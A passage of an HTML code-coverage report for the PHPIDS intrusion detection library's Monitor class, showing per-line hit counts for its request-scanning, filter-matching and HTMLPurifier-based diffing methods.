id="container223"><a name="223"></a><a href="#223" id="line223"> 223</a> </span> : -<span class="lineNum" id="container224"><a name="224"></a><a href="#224" id="line224"> 224</a> </span><span class="lineCov"> 41 : include_once 'IDS/Report.php'; </span> -<span class="lineNum" id="container225"><a name="225"></a><a href="#225" id="line225"> 225</a> </span><span class="lineCov"> 41 : $this->report = new IDS_Report; </span> -<span class="lineNum" id="container226"><a name="226"></a><a href="#226" id="line226"> 226</a> </span><span class="lineCov"> 41 : } </span> -<span class="lineNum" id="container227"><a name="227"></a><a href="#227" id="line227"> 227</a> </span> : -<span class="lineNum" id="container228"><a name="228"></a><a href="#228" id="line228"> 228</a> </span> : /** -<span class="lineNum" id="container229"><a name="229"></a><a href="#229" id="line229"> 229</a> </span> : * Starts the scan mechanism -<span class="lineNum" id="container230"><a name="230"></a><a href="#230" id="line230"> 230</a> </span> : * -<span class="lineNum" id="container231"><a name="231"></a><a href="#231" id="line231"> 231</a> </span> : * @return object IDS_Report -<span class="lineNum" id="container232"><a name="232"></a><a href="#232" id="line232"> 232</a> </span> : */ -<span class="lineNum" id="container233"><a name="233"></a><a href="#233" id="line233"> 233</a> </span> : public function run() -<span class="lineNum" id="container234"><a name="234"></a><a href="#234" id="line234"> 234</a> </span> : { -<span class="lineNum" id="container235"><a name="235"></a><a href="#235" id="line235"> 235</a> </span><span class="lineCov"> 36 : if (!empty($this->request)) { </span> -<span class="lineNum" id="container236"><a name="236"></a><a href="#236" id="line236"> 236</a> </span><span class="lineCov"> 36 : foreach ($this->request as $key => $value) { </span> -<span class="lineNum" id="container237"><a name="237"></a><a href="#237" id="line237"> 237</a> </span><span class="lineCov"> 36 : $this->_iterate($key, $value); </span> -<span class="lineNum" id="container238"><a name="238"></a><a href="#238" id="line238"> 238</a> </span><span class="lineCov"> 36 : } </span> -<span class="lineNum" id="container239"><a name="239"></a><a href="#239" id="line239"> 239</a> </span><span class="lineCov"> 36 : } </span> -<span class="lineNum" id="container240"><a name="240"></a><a href="#240" id="line240"> 240</a> </span> : -<span class="lineNum" id="container241"><a name="241"></a><a href="#241" id="line241"> 241</a> </span><span class="lineCov"> 36 : return $this->getReport(); </span> -<span class="lineNum" id="container242"><a name="242"></a><a href="#242" id="line242"> 242</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container243"><a name="243"></a><a href="#243" id="line243"> 243</a> </span> : -<span class="lineNum" id="container244"><a name="244"></a><a href="#244" id="line244"> 244</a> </span> : /** -<span class="lineNum" id="container245"><a name="245"></a><a href="#245" id="line245"> 245</a> </span> : * Iterates through given data and delegates it to IDS_Monitor::_detect() in -<span class="lineNum" id="container246"><a name="246"></a><a href="#246" id="line246"> 246</a> </span> : * order to check for malicious appearing fragments -<span class="lineNum" id="container247"><a name="247"></a><a href="#247" id="line247"> 247</a> </span> : * -<span class="lineNum" id="container248"><a name="248"></a><a href="#248" id="line248"> 248</a> </span> : * @param mixed $key the former array key -<span class="lineNum" id="container249"><a name="249"></a><a href="#249" id="line249"> 249</a> </span> : * @param mixed $value the former array value -<span class="lineNum" id="container250"><a name="250"></a><a href="#250" id="line250"> 250</a> </span> : * -<span class="lineNum" id="container251"><a name="251"></a><a href="#251" id="line251"> 251</a> </span> : * @return void -<span class="lineNum" id="container252"><a name="252"></a><a href="#252" id="line252"> 252</a> </span> : */ -<span class="lineNum" id="container253"><a name="253"></a><a href="#253" id="line253"> 253</a> </span> : private function _iterate($key, $value) -<span class="lineNum" id="container254"><a name="254"></a><a href="#254" id="line254"> 254</a> </span> : { -<span class="lineNum" id="container255"><a name="255"></a><a href="#255" id="line255"> 255</a> </span> : -<span class="lineNum" id="container256"><a name="256"></a><a href="#256" id="line256"> 256</a> </span><span class="lineCov"> 36 : if (!is_array($value)) { </span> -<span class="lineNum" id="container257"><a name="257"></a><a href="#257" id="line257"> 257</a> </span><span class="lineCov"> 36 : if (is_string($value)) { </span> -<span class="lineNum" id="container258"><a name="258"></a><a href="#258" id="line258"> 258</a> </span> : -<span class="lineNum" id="container259"><a name="259"></a><a href="#259" id="line259"> 259</a> </span><span class="lineCov"> 36 : if ($filter = $this->_detect($key, $value)) { </span> -<span class="lineNum" id="container260"><a name="260"></a><a href="#260" id="line260"> 260</a> </span><span class="lineCov"> 33 : include_once 'IDS/Event.php'; </span> -<span class="lineNum" id="container261"><a name="261"></a><a href="#261" id="line261"> 261</a> </span><span class="lineCov"> 33 : $this->report->addEvent( </span> -<span class="lineNum" id="container262"><a name="262"></a><a href="#262" id="line262"> 262</a> </span><span class="lineCov"> 33 : new IDS_Event( </span> -<span class="lineNum" id="container263"><a name="263"></a><a href="#263" id="line263"> 263</a> </span><span class="lineCov"> 33 : $key, </span> -<span class="lineNum" id="container264"><a name="264"></a><a href="#264" id="line264"> 264</a> </span><span class="lineCov"> 33 : $value, </span> -<span class="lineNum" id="container265"><a name="265"></a><a href="#265" id="line265"> 265</a> </span> : $filter -<span class="lineNum" id="container266"><a name="266"></a><a href="#266" id="line266"> 266</a> </span><span class="lineCov"> 33 : ) </span> -<span class="lineNum" id="container267"><a name="267"></a><a href="#267" id="line267"> 267</a> </span><span class="lineCov"> 33 : ); </span> -<span class="lineNum" id="container268"><a name="268"></a><a href="#268" id="line268"> 268</a> </span><span class="lineCov"> 33 : } </span> -<span class="lineNum" id="container269"><a name="269"></a><a href="#269" id="line269"> 269</a> </span><span class="lineCov"> 36 : } </span> -<span class="lineNum" id="container270"><a name="270"></a><a href="#270" id="line270"> 270</a> </span><span class="lineCov"> 36 : } else { </span> -<span class="lineNum" id="container271"><a name="271"></a><a href="#271" id="line271"> 271</a> </span><span class="lineCov"> 2 : foreach ($value as $subKey => $subValue) { </span> -<span class="lineNum" id="container272"><a name="272"></a><a href="#272" id="line272"> 272</a> </span><span class="lineCov"> 2 : $this->_iterate($key . '.' . $subKey, $subValue); </span> -<span class="lineNum" id="container273"><a name="273"></a><a href="#273" id="line273"> 273</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container274"><a name="274"></a><a href="#274" id="line274"> 274</a> </span> : } -<span class="lineNum" id="container275"><a name="275"></a><a href="#275" id="line275"> 275</a> </span><span class="lineCov"> 36 : } </span> -<span class="lineNum" id="container276"><a name="276"></a><a href="#276" id="line276"> 276</a> </span> : -<span class="lineNum" id="container277"><a name="277"></a><a href="#277" id="line277"> 277</a> </span> : /** -<span class="lineNum" id="container278"><a name="278"></a><a href="#278" id="line278"> 278</a> </span> : * Checks whether given value matches any of the supplied filter patterns -<span class="lineNum" id="container279"><a name="279"></a><a href="#279" id="line279"> 279</a> </span> : * -<span class="lineNum" id="container280"><a name="280"></a><a href="#280" id="line280"> 280</a> </span> : * @param mixed $key the key of the value to scan -<span class="lineNum" id="container281"><a name="281"></a><a href="#281" id="line281"> 281</a> </span> : * @param mixed $value the value to scan -<span class="lineNum" id="container282"><a name="282"></a><a href="#282" id="line282"> 282</a> </span> : * -<span class="lineNum" id="container283"><a name="283"></a><a href="#283" id="line283"> 283</a> </span> : * @return bool|array false or array of filter(s) that matched the value -<span class="lineNum" id="container284"><a name="284"></a><a href="#284" id="line284"> 284</a> </span> : */ -<span class="lineNum" id="container285"><a name="285"></a><a href="#285" id="line285"> 285</a> </span> : private function _detect($key, $value) -<span class="lineNum" id="container286"><a name="286"></a><a href="#286" id="line286"> 286</a> </span> : { -<span class="lineNum" id="container287"><a name="287"></a><a href="#287" id="line287"> 287</a> </span> : -<span class="lineNum" id="container288"><a name="288"></a><a href="#288" id="line288"> 288</a> </span> : // to increase performance, only start detection if value -<span class="lineNum" id="container289"><a name="289"></a><a href="#289" id="line289"> 289</a> </span> : // isn't alphanumeric -<span class="lineNum" id="container290"><a name="290"></a><a href="#290" id="line290"> 290</a> </span><span class="lineCov"> 36 : if (!$value || !preg_match('/[^\w\s\/@!?,]+/', $value)) { </span> -<span class="lineNum" id="container291"><a name="291"></a><a href="#291" id="line291"> 291</a> </span><span class="lineCov"> 1 : return false; </span> -<span class="lineNum" id="container292"><a name="292"></a><a href="#292" id="line292"> 292</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container293"><a name="293"></a><a href="#293" id="line293"> 293</a> </span> : -<span class="lineNum" id="container294"><a name="294"></a><a href="#294" id="line294"> 294</a> </span> : // check if this field is part of the exceptions -<span class="lineNum" id="container295"><a name="295"></a><a href="#295" id="line295"> 295</a> </span><span class="lineCov"> 35 : if (is_array($this->exceptions) </span> -<span class="lineNum" id="container296"><a name="296"></a><a href="#296" id="line296"> 296</a> </span><span class="lineCov"> 35 : && in_array($key, $this->exceptions, true)) { </span> -<span class="lineNum" id="container297"><a name="297"></a><a href="#297" id="line297"> 297</a> </span><span class="lineCov"> 1 : return false; </span> -<span class="lineNum" id="container298"><a name="298"></a><a href="#298" id="line298"> 298</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container299"><a name="299"></a><a href="#299" id="line299"> 299</a> </span> : -<span class="lineNum" id="container300"><a name="300"></a><a href="#300" id="line300"> 300</a> </span> : // check for magic quotes and remove them if necessary -<span class="lineNum" id="container301"><a name="301"></a><a href="#301" id="line301"> 301</a> </span><span class="lineCov"> 35 : if (function_exists('get_magic_quotes_gpc') </span> -<span class="lineNum" id="container302"><a name="302"></a><a href="#302" id="line302"> 302</a> </span><span class="lineCov"> 35 : && get_magic_quotes_gpc()) { </span> -<span class="lineNum" id="container303"><a name="303"></a><a href="#303" id="line303"> 303</a> </span><span class="lineCov"> 35 : $value = stripslashes($value); </span> -<span class="lineNum" id="container304"><a name="304"></a><a href="#304" id="line304"> 304</a> </span><span class="lineCov"> 35 : } </span> -<span class="lineNum" id="container305"><a name="305"></a><a href="#305" id="line305"> 305</a> </span> : -<span class="lineNum" id="container306"><a name="306"></a><a href="#306" id="line306"> 306</a> </span> : // if html monitoring is enabled for this field - then do it! -<span class="lineNum" id="container307"><a name="307"></a><a href="#307" id="line307"> 307</a> </span><span class="lineCov"> 35 : if (is_array($this->html) && in_array($key, $this->html, true)) { </span> -<span class="lineNum" id="container308"><a name="308"></a><a href="#308" id="line308"> 308</a> </span><span class="lineCov"> 2 : list($key, $value) = $this->_purifyValues($key, $value); </span> -<span class="lineNum" id="container309"><a name="309"></a><a href="#309" id="line309"> 309</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container310"><a name="310"></a><a href="#310" id="line310"> 310</a> </span> : -<span class="lineNum" id="container311"><a name="311"></a><a href="#311" id="line311"> 311</a> </span> : // check if json monitoring is enabled for this field -<span class="lineNum" id="container312"><a name="312"></a><a href="#312" id="line312"> 312</a> </span><span class="lineCov"> 35 : if (is_array($this->json) && in_array($key, $this->json, true)) { </span> -<span class="lineNum" id="container313"><a name="313"></a><a href="#313" id="line313"> 313</a> </span><span class="lineCov"> 1 : list($key, $value) = $this->_jsonDecodeValues($key, $value); </span> -<span class="lineNum" id="container314"><a name="314"></a><a href="#314" id="line314"> 314</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container315"><a name="315"></a><a href="#315" id="line315"> 315</a> </span> : -<span class="lineNum" id="container316"><a name="316"></a><a href="#316" id="line316"> 316</a> </span> : // use the converter -<span class="lineNum" id="container317"><a name="317"></a><a href="#317" id="line317"> 317</a> </span><span class="lineCov"> 35 : include_once 'IDS/Converter.php'; </span> -<span class="lineNum" id="container318"><a name="318"></a><a href="#318" id="line318"> 318</a> </span><span class="lineCov"> 35 : $value = IDS_Converter::runAll($value); </span> -<span class="lineNum" id="container319"><a name="319"></a><a href="#319" id="line319"> 319</a> </span><span class="lineCov"> 35 : $value = IDS_Converter::runCentrifuge($value, $this); </span> -<span class="lineNum" id="container320"><a name="320"></a><a href="#320" id="line320"> 320</a> </span> : -<span class="lineNum" id="container321"><a name="321"></a><a href="#321" id="line321"> 321</a> </span> : // scan keys if activated via config -<span class="lineNum" id="container322"><a name="322"></a><a href="#322" id="line322"> 322</a> </span><span class="lineCov"> 35 : $key = $this->scanKeys ? IDS_Converter::runAll($key) </span> -<span class="lineNum" id="container323"><a name="323"></a><a href="#323" id="line323"> 323</a> </span><span class="lineCov"> 35 : : $key; </span> -<span class="lineNum" id="container324"><a name="324"></a><a href="#324" id="line324"> 324</a> </span><span class="lineCov"> 35 : $key = $this->scanKeys ? IDS_Converter::runCentrifuge($key, $this) </span> -<span class="lineNum" id="container325"><a name="325"></a><a href="#325" id="line325"> 325</a> </span><span class="lineCov"> 35 : : $key; </span> -<span class="lineNum" id="container326"><a name="326"></a><a href="#326" id="line326"> 326</a> </span> : -<span class="lineNum" id="container327"><a name="327"></a><a href="#327" id="line327"> 327</a> </span><span class="lineCov"> 35 : $filters = array(); </span> -<span class="lineNum" id="container328"><a name="328"></a><a href="#328" id="line328"> 328</a> </span><span class="lineCov"> 35 : $filterSet = $this->storage->getFilterSet(); </span> -<span class="lineNum" id="container329"><a name="329"></a><a href="#329" id="line329"> 329</a> </span><span class="lineCov"> 35 : foreach ($filterSet as $filter) { </span> -<span class="lineNum" id="container330"><a name="330"></a><a href="#330" id="line330"> 330</a> </span> : -<span class="lineNum" id="container331"><a name="331"></a><a href="#331" id="line331"> 331</a> </span> : /* -<span class="lineNum" id="container332"><a name="332"></a><a href="#332" id="line332"> 332</a> </span> : * in case we have a tag array specified the IDS will only -<span class="lineNum" id="container333"><a name="333"></a><a href="#333" id="line333"> 333</a> </span> : * use those filters that are meant to detect any of the -<span class="lineNum" id="container334"><a name="334"></a><a href="#334" id="line334"> 334</a> </span> : * defined tags -<span class="lineNum" id="container335"><a name="335"></a><a href="#335" id="line335"> 335</a> </span> : */ -<span class="lineNum" id="container336"><a name="336"></a><a href="#336" id="line336"> 336</a> </span><span class="lineCov"> 35 : if (is_array($this->tags)) { </span> -<span class="lineNum" id="container337"><a name="337"></a><a href="#337" id="line337"> 337</a> </span><span class="lineCov"> 1 : if (array_intersect($this->tags, $filter->getTags())) { </span> -<span class="lineNum" id="container338"><a name="338"></a><a href="#338" id="line338"> 338</a> </span><span class="lineCov"> 1 : if ($this->_match($key, $value, $filter)) { </span> -<span class="lineNum" id="container339"><a name="339"></a><a href="#339" id="line339"> 339</a> </span><span class="lineCov"> 1 : $filters[] = $filter; </span> -<span class="lineNum" id="container340"><a name="340"></a><a href="#340" id="line340"> 340</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container341"><a name="341"></a><a href="#341" id="line341"> 341</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container342"><a name="342"></a><a href="#342" id="line342"> 342</a> </span><span class="lineCov"> 1 : } else { </span> -<span class="lineNum" id="container343"><a name="343"></a><a href="#343" id="line343"> 343</a> </span><span class="lineCov"> 34 : if ($this->_match($key, $value, $filter)) { </span> -<span class="lineNum" id="container344"><a name="344"></a><a href="#344" id="line344"> 344</a> </span><span class="lineCov"> 32 : $filters[] = $filter; </span> -<span class="lineNum" id="container345"><a name="345"></a><a href="#345" id="line345"> 345</a> </span><span class="lineCov"> 32 : } </span> -<span class="lineNum" id="container346"><a name="346"></a><a href="#346" id="line346"> 346</a> </span> : } -<span class="lineNum" id="container347"><a name="347"></a><a href="#347" id="line347"> 347</a> </span><span class="lineCov"> 35 : } </span> -<span class="lineNum" id="container348"><a name="348"></a><a href="#348" id="line348"> 348</a> </span> : -<span class="lineNum" id="container349"><a name="349"></a><a href="#349" id="line349"> 349</a> </span><span class="lineCov"> 35 : return empty($filters) ? false : $filters; </span> -<span class="lineNum" id="container350"><a name="350"></a><a href="#350" id="line350"> 350</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container351"><a name="351"></a><a href="#351" id="line351"> 351</a> </span> : -<span class="lineNum" id="container352"><a name="352"></a><a href="#352" id="line352"> 352</a> </span> : -<span class="lineNum" id="container353"><a name="353"></a><a href="#353" id="line353"> 353</a> </span> : /** -<span class="lineNum" id="container354"><a name="354"></a><a href="#354" id="line354"> 354</a> </span> : * Purifies given key and value variables using HTMLPurifier -<span class="lineNum" id="container355"><a name="355"></a><a href="#355" id="line355"> 355</a> </span> : * -<span class="lineNum" id="container356"><a name="356"></a><a href="#356" id="line356"> 356</a> </span> : * This function is needed whenever there is variables for which HTML -<span class="lineNum" id="container357"><a name="357"></a><a href="#357" id="line357"> 357</a> </span> : * might be allowed like e.g. WYSIWYG post bodies. It will dectect malicious -<span class="lineNum" id="container358"><a name="358"></a><a href="#358" id="line358"> 358</a> </span> : * code fragments and leaves harmless parts untouched. -<span class="lineNum" id="container359"><a name="359"></a><a href="#359" id="line359"> 359</a> </span> : * -<span class="lineNum" id="container360"><a name="360"></a><a href="#360" id="line360"> 360</a> </span> : * @param mixed $key -<span class="lineNum" id="container361"><a name="361"></a><a href="#361" id="line361"> 361</a> </span> : * @param mixed $value -<span class="lineNum" id="container362"><a name="362"></a><a href="#362" id="line362"> 362</a> </span> : * @since 0.5 -<span class="lineNum" id="container363"><a name="363"></a><a href="#363" id="line363"> 363</a> </span> : * -<span class="lineNum" id="container364"><a name="364"></a><a href="#364" id="line364"> 364</a> </span> : * @return array -<span class="lineNum" id="container365"><a name="365"></a><a href="#365" id="line365"> 365</a> </span> : */ -<span class="lineNum" id="container366"><a name="366"></a><a href="#366" id="line366"> 366</a> </span> : private function _purifyValues($key, $value) { -<span class="lineNum" id="container367"><a name="367"></a><a href="#367" id="line367"> 367</a> </span> : -<span class="lineNum" id="container368"><a name="368"></a><a href="#368" id="line368"> 368</a> </span><span class="lineCov"> 2 : include_once $this->pathToHTMLPurifier; </span> -<span class="lineNum" id="container369"><a name="369"></a><a href="#369" id="line369"> 369</a> </span> : -<span class="lineNum" id="container370"><a name="370"></a><a href="#370" id="line370"> 370</a> </span><span class="lineCov"> 2 : if (!is_writeable($this->HTMLPurifierCache)) { </span> -<span class="lineNum" id="container371"><a name="371"></a><a href="#371" id="line371"> 371</a> </span><span class="lineNoCov"> 0 : throw new Exception( </span> -<span class="lineNum" id="container372"><a name="372"></a><a href="#372" id="line372"> 372</a> </span><span class="lineNoCov"> 0 : $this->HTMLPurifierCache . ' must be writeable'); </span> -<span class="lineNum" id="container373"><a name="373"></a><a href="#373" id="line373"> 373</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container374"><a name="374"></a><a href="#374" id="line374"> 374</a> </span> : -<span class="lineNum" id="container375"><a name="375"></a><a href="#375" id="line375"> 375</a> </span><span class="lineCov"> 2 : if (class_exists('HTMLPurifier')) { </span> -<span class="lineNum" id="container376"><a name="376"></a><a href="#376" id="line376"> 376</a> </span><span class="lineCov"> 2 : $config = HTMLPurifier_Config::createDefault(); </span> -<span class="lineNum" id="container377"><a name="377"></a><a href="#377" id="line377"> 377</a> </span><span class="lineCov"> 2 : $config->set('Attr', 'EnableID', true); </span> -<span class="lineNum" id="container378"><a name="378"></a><a href="#378" id="line378"> 378</a> </span><span class="lineCov"> 2 : $config->set('Cache', 'SerializerPath', $this->HTMLPurifierCache); </span> -<span class="lineNum" id="container379"><a name="379"></a><a href="#379" id="line379"> 379</a> </span><span class="lineCov"> 2 : $config->set('Output', 'Newline', "\n"); </span> -<span class="lineNum" id="container380"><a name="380"></a><a href="#380" id="line380"> 380</a> </span><span class="lineCov"> 2 : $this->htmlpurifier = new HTMLPurifier($config); </span> -<span class="lineNum" id="container381"><a name="381"></a><a href="#381" id="line381"> 381</a> </span><span class="lineCov"> 2 : } else { </span> -<span class="lineNum" id="container382"><a name="382"></a><a href="#382" id="line382"> 382</a> </span><span class="lineNoCov"> 0 : throw new Exception( </span> -<span class="lineNum" id="container383"><a name="383"></a><a href="#383" id="line383"> 383</a> </span> : 'HTMLPurifier class could not be found - ' . -<span class="lineNum" id="container384"><a name="384"></a><a href="#384" id="line384"> 384</a> </span><span class="lineNoCov"> 0 : 'make sure the purifier files are valid and' . </span> -<span class="lineNum" id="container385"><a name="385"></a><a href="#385" id="line385"> 385</a> </span> : ' the path is correct' -<span class="lineNum" id="container386"><a name="386"></a><a href="#386" id="line386"> 386</a> </span><span class="lineNoCov"> 0 : ); </span> -<span class="lineNum" id="container387"><a name="387"></a><a href="#387" id="line387"> 387</a> </span> : } -<span class="lineNum" id="container388"><a name="388"></a><a href="#388" id="line388"> 388</a> </span> : -<span class="lineNum" id="container389"><a name="389"></a><a href="#389" id="line389"> 389</a> </span><span class="lineCov"> 2 : $purified_value = $this->htmlpurifier->purify($value); </span> -<span class="lineNum" id="container390"><a name="390"></a><a href="#390" id="line390"> 390</a> </span><span class="lineCov"> 2 : $purified_key = $this->htmlpurifier->purify($key); </span> -<span class="lineNum" id="container391"><a name="391"></a><a href="#391" id="line391"> 391</a> </span> : -<span class="lineNum" id="container392"><a name="392"></a><a href="#392" id="line392"> 392</a> </span><span class="lineCov"> 2 : $redux_value = strip_tags($value); </span> -<span class="lineNum" id="container393"><a name="393"></a><a href="#393" id="line393"> 393</a> </span><span class="lineCov"> 2 : $redux_key = strip_tags($key); </span> -<span class="lineNum" id="container394"><a name="394"></a><a href="#394" id="line394"> 394</a> </span> : -<span class="lineNum" id="container395"><a name="395"></a><a href="#395" id="line395"> 395</a> </span><span class="lineCov"> 2 : if ($value != $purified_value || $redux_value) { </span> -<span class="lineNum" id="container396"><a name="396"></a><a href="#396" id="line396"> 396</a> </span><span class="lineCov"> 2 : $value = $this->_diff($value, $purified_value, $redux_value); </span> -<span class="lineNum" id="container397"><a name="397"></a><a href="#397" id="line397"> 397</a> </span><span class="lineCov"> 2 : } else { </span> -<span class="lineNum" id="container398"><a name="398"></a><a href="#398" id="line398"> 398</a> </span><span class="lineNoCov"> 0 : $value = NULL; </span> -<span class="lineNum" id="container399"><a name="399"></a><a href="#399" id="line399"> 399</a> </span> : } -<span class="lineNum" id="container400"><a name="400"></a><a href="#400" id="line400"> 400</a> </span><span class="lineCov"> 2 : if ($key != $purified_key) { </span> -<span class="lineNum" id="container401"><a name="401"></a><a href="#401" id="line401"> 401</a> </span><span class="lineNoCov"> 0 : $key = $this->_diff($key, $purified_key, $redux_key); </span> -<span class="lineNum" id="container402"><a name="402"></a><a href="#402" id="line402"> 402</a> </span><span class="lineNoCov"> 0 : } else { </span> -<span class="lineNum" id="container403"><a name="403"></a><a href="#403" id="line403"> 403</a> </span><span class="lineCov"> 2 : $key = NULL; </span> -<span class="lineNum" id="container404"><a name="404"></a><a href="#404" id="line404"> 404</a> </span> : } -<span class="lineNum" id="container405"><a name="405"></a><a href="#405" id="line405"> 405</a> </span> : -<span class="lineNum" id="container406"><a name="406"></a><a href="#406" id="line406"> 406</a> </span><span class="lineCov"> 2 : return array($key, $value); </span> -<span class="lineNum" id="container407"><a name="407"></a><a href="#407" id="line407"> 407</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container408"><a name="408"></a><a href="#408" id="line408"> 408</a> </span> : -<span class="lineNum" id="container409"><a name="409"></a><a href="#409" id="line409"> 409</a> </span> : /** -<span class="lineNum" id="container410"><a name="410"></a><a href="#410" id="line410"> 410</a> </span> : * This method calculates the difference between the original -<span class="lineNum" id="container411"><a name="411"></a><a href="#411" id="line411"> 411</a> </span> : * and the purified markup strings. -<span class="lineNum" id="container412"><a name="412"></a><a href="#412" id="line412"> 412</a> </span> : * -<span class="lineNum" id="container413"><a name="413"></a><a href="#413" id="line413"> 413</a> </span> : * @param string $original the original markup -<span class="lineNum" id="container414"><a name="414"></a><a href="#414" id="line414"> 414</a> </span> : * @param string $purified the purified markup -<span class="lineNum" id="container415"><a name="415"></a><a href="#415" id="line415"> 415</a> </span> : * @param string $redux the string without html -<span class="lineNum" id="container416"><a name="416"></a><a href="#416" id="line416"> 416</a> </span> : * @since 0.5 -<span class="lineNum" id="container417"><a name="417"></a><a href="#417" id="line417"> 417</a> </span> : * -<span class="lineNum" id="container418"><a name="418"></a><a href="#418" id="line418"> 418</a> </span> : * @return string the difference between the strings -<span class="lineNum" id="container419"><a name="419"></a><a href="#419" id="line419"> 419</a> </span> : */ -<span class="lineNum" id="container420"><a name="420"></a><a href="#420" id="line420"> 420</a> </span> : private function _diff($original, $purified, $redux) -<span class="lineNum" id="container421"><a name="421"></a><a href="#421" id="line421"> 421</a> </span> : { -<span class="lineNum" id="container422"><a name="422"></a><a href="#422" id="line422"> 422</a> </span> : /* -<span class="lineNum" id="container423"><a name="423"></a><a href="#423" id="line423"> 423</a> </span> : * deal with over-sensitive alt-attribute addition of the purifier -<span class="lineNum" id="container424"><a name="424"></a><a href="#424" id="line424"> 424</a> </span> : * and other common html formatting problems -<span class="lineNum" id="container425"><a name="425"></a><a href="#425" id="line425"> 425</a> </span> : */ -<span class="lineNum" id="container426"><a name="426"></a><a href="#426" id="line426"> 426</a> </span><span class="lineCov"> 2 : $purified = preg_replace('/\s+alt="[^"]*"/m', null, $purified); </span> -<span class="lineNum" id="container427"><a name="427"></a><a href="#427" id="line427"> 427</a> </span><span class="lineCov"> 2 : $purified = preg_replace('/=?\s*"\s*"/m', null, $purified); </span> -<span class="lineNum" id="container428"><a name="428"></a><a href="#428" id="line428"> 428</a> </span> : -<span class="lineNum" id="container429"><a name="429"></a><a href="#429" id="line429"> 429</a> </span><span class="lineCov"> 2 : $original = preg_replace('/=?\s*"\s*"/m', null, $original); </span> -<span class="lineNum" id="container430"><a name="430"></a><a href="#430" id="line430"> 430</a> </span><span class="lineCov"> 2 : $original = preg_replace('/\s+alt=?/m', null, $original); </span> -<span class="lineNum" id="container431"><a name="431"></a><a href="#431" id="line431"> 431</a> </span> : -<span class="lineNum" id="container432"><a name="432"></a><a href="#432" id="line432"> 432</a> </span> : // check which string is longer -<span class="lineNum" id="container433"><a name="433"></a><a href="#433" id="line433"> 433</a> </span><span class="lineCov"> 2 : $length = (strlen($original) - strlen($purified)); </span> -<span class="lineNum" id="container434"><a name="434"></a><a href="#434" id="line434"> 434</a> </span> : /* -<span class="lineNum" id="container435"><a name="435"></a><a href="#435" id="line435"> 435</a> </span> : * Calculate the difference between the original html input -<span class="lineNum" id="container436"><a name="436"></a><a href="#436" id="line436"> 436</a> </span> : * and the purified string. -<span class="lineNum" id="container437"><a name="437"></a><a href="#437" id="line437"> 437</a> </span> : */ -<span class="lineNum" id="container438"><a name="438"></a><a href="#438" id="line438"> 438</a> </span><span class="lineCov"> 2 : if ($length > 0) { </span> -<span class="lineNum" id="container439"><a name="439"></a><a href="#439" id="line439"> 439</a> </span><span class="lineCov"> 2 : $array_2 = str_split($original); </span> -<span class="lineNum" id="container440"><a name="440"></a><a href="#440" id="line440"> 440</a> </span><span class="lineCov"> 2 : $array_1 = str_split($purified); </span> -<span class="lineNum" id="container441"><a name="441"></a><a href="#441" id="line441"> 441</a> </span><span class="lineCov"> 2 : } else { </span> -<span class="lineNum" id="container442"><a name="442"></a><a href="#442" id="line442"> 442</a> </span><span class="lineCov"> 2 : $array_1 = str_split($original); </span> -<span class="lineNum" id="container443"><a name="443"></a><a href="#443" id="line443"> 443</a> </span><span class="lineCov"> 2 : $array_2 = str_split($purified); </span> -<span class="lineNum" id="container444"><a name="444"></a><a href="#444" id="line444"> 444</a> </span> : } -<span class="lineNum" id="container445"><a name="445"></a><a href="#445" id="line445"> 445</a> </span><span class="lineCov"> 2 : foreach ($array_2 as $key => $value) { </span> -<span class="lineNum" id="container446"><a name="446"></a><a href="#446" id="line446"> 446</a> </span><span class="lineCov"> 2 : if ($value !== $array_1[$key]) { </span> -<span class="lineNum" id="container447"><a name="447"></a><a href="#447" id="line447"> 447</a> </span><span class="lineCov"> 2 : $array_1 = array_reverse($array_1); </span> -<span class="lineNum" id="container448"><a name="448"></a><a href="#448" id="line448"> 448</a> </span><span class="lineCov"> 2 : $array_1[] = $value; </span> -<span class="lineNum" id="container449"><a name="449"></a><a href="#449" id="line449"> 449</a> </span><span class="lineCov"> 2 : $array_1 = array_reverse($array_1); </span> -<span class="lineNum" id="container450"><a name="450"></a><a href="#450" id="line450"> 450</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container451"><a name="451"></a><a href="#451" id="line451"> 451</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container452"><a name="452"></a><a href="#452" id="line452"> 452</a> </span> : -<span class="lineNum" id="container453"><a name="453"></a><a href="#453" id="line453"> 453</a> </span> : // return the diff - ready to hit the converter and the rules -<span class="lineNum" id="container454"><a name="454"></a><a href="#454" id="line454"> 454</a> </span><span class="lineCov"> 2 : $diff = trim(join('', array_reverse( </span> -<span class="lineNum" id="container455"><a name="455"></a><a href="#455" id="line455"> 455</a> </span><span class="lineCov"> 2 : (array_slice($array_1, 0, $length))))); </span> -<span class="lineNum" id="container456"><a name="456"></a><a href="#456" id="line456"> 456</a> </span> : -<span class="lineNum" id="container457"><a name="457"></a><a href="#457" id="line457"> 457</a> </span> : // clean up spaces between tag delimiters -<span class="lineNum" id="container458"><a name="458"></a><a href="#458" id="line458"> 458</a> </span><span class="lineCov"> 2 : $diff = preg_replace('/>\s*</m', '><', $diff); </span> -<span class="lineNum" id="container459"><a name="459"></a><a href="#459" id="line459"> 459</a> </span> : -<span class="lineNum" id="container460"><a name="460"></a><a href="#460" id="line460"> 460</a> </span> : // correct over-sensitively stripped bad html elements -<span class="lineNum" id="container461"><a name="461"></a><a href="#461" id="line461"> 461</a> </span><span class="lineCov"> 2 : $diff = preg_replace('/[^<](iframe|script|embed|object' . </span> -<span class="lineNum" id="container462"><a name="462"></a><a href="#462" id="line462"> 462</a> </span><span class="lineCov"> 2 : '|applet|base|img|style)/m', '<$1', $diff); </span> -<span class="lineNum" id="container463"><a name="463"></a><a href="#463" id="line463"> 463</a> </span> : -<span class="lineNum" id="container464"><a name="464"></a><a href="#464" id="line464"> 464</a> </span><span class="lineCov"> 2 : if ($original == $purified && !$redux) { </span> -<span class="lineNum" id="container465"><a name="465"></a><a href="#465" 